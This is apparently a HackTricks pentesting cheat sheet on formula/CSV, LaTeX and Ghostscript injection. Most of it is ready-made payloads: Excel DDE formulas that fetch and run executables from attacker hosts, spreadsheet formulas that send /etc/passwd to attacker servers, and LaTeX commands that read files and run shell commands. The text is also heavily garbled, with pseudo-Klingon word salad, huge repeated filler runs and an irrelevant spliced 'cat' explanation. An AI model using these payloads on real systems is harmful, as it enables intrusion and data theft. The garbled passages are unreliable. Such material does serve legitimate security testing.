hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

Formula/CSV/Doc/LaTeX/GhostScript Injection

htARTE (HackTricks AWS Red Team Expert) ! 'e' vItlhutlh

HackTricks vItlhutlh:

• HackTricks 'e' tlhIngan Hol company advertised want download HackTricks PDF SUBSCRIPTION PLANS Check!
• official PEASS & HackTricks swag Get
• The PEASS Family Discover, NFTs collection exclusive our
• 💬 Discord group Join the or telegram group](https://t.me/peass) the [follow us Twitter 🐦 @carlospolopm.
• hacking tricks Share your submitting PRs HackTricks the HackTricks Cloud github repos.

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. Try it for free today.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

---

Formula Injection

Info

If your input is being reflected inside CSV files (or any other file that is probably going to be opened by Excel), you maybe able to put Excel formulas that will be executed when the user opens the file or when the user clicks on some link inside the excel sheet.

{% hint style="danger" %} Nowadays Excel will alert (several times) the user when something is loaded from outside the Excel in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlink

**Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'! Qapla'!

`=cmd|' /C calc'!xxx`

Additional commands can also be executed, such as downloading and executing a file using PowerShell:

$command = "powershell -c (New-Object System.Net.WebClient).DownloadFile('http://evil.com/malicious-file.exe', 'C:\temp\malicious-file.exe'); Start-Process 'C:\temp\malicious-file.exe'"

This command downloads a file from a specified URL and saves it to the local system. It then executes the downloaded file using the Start-Process command.

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc can be used to read local files and exfiltrate data. Here are some methods:

• Reading the first line from the local /etc/passwd file: ='file:///etc/passwd'#$passwd.A1
• Exfiltrating the read data to an attacker-controlled server: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
• Exfiltrating more than one line: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
• DNS exfiltration (sending read data as DNS queries to an attacker-controlled DNS server): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets offers functions that can be exploited for OOB data exfiltration:

• CONCATENATE: Appends strings together - =CONCATENATE(A2:E2)
• IMPORTXML: Imports data from structured data types - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
• IMPORTFEED: Imports RSS or ATOM feeds - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
• IMPORTHTML: Imports data from HTML tables or lists - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
• IMPORTRANGE: Imports a range of cells from another spreadsheet - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
• IMAGE: Inserts an image into a cell - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

Usually the servers that will find on the internet that convert LaTeX code to PDF use pdflatex.
This program uses 3 main attributes to (dis)allow command execution:

• --no-shell-escape: Disable the \write18{command} construct, even if it is enabled in the texmf.cnf file.
• --shell-restricted: Same as --shell-escape, but limited to a 'safe' set of predefined **commands (**On Ubuntu 16.04 the list is in /usr/share/texmf/web2c/texmf.cnf).
• --shell-escape: Enable the \write18{command} construct. The command can be any shell command. This construct is normally disallowed for security reasons.

However, there are other ways to execute commands, so to avoid RCE it's very important to use --shell-restricted.

Read file

You might need to adjust injection with wrappers as [ or $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

QaD jImej file

To read a single-lined file, you can use the following command:

cat filename

This command will display the contents of the file on the terminal.

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

QaStaHvIS file

To read a file that contains multiple lines, you can use the following command:

cat filename

This command will display the contents of the file on the screen.

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

QISaHbe'

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Command execution

tlhIngan Hol translation:

Command execution

Qap vItlhutlh stdin-Daq command-e' input. Temp file vItlhutlh vItlhutlh'e'.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

If you get any LaTex error, consider using base64 to get the result without bad characters

ghItlh 'e' vItlhutlh LaTex 'e' vItlhutlh, base64 vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh v

\immediate\write18{env | base64 > test.tex}
\input{text.tex}

\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

From @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Check https://blog.redteam-pentesting.de/2023/ghostscript-overview/

References

• https://notsosecure.com/data-exfiltration-formula-injection-part1
• https://0day.work/hacking-with-latex/
• https://salmonsec.com/cheatsheet/latex_injection
• https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. Try it for free today.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.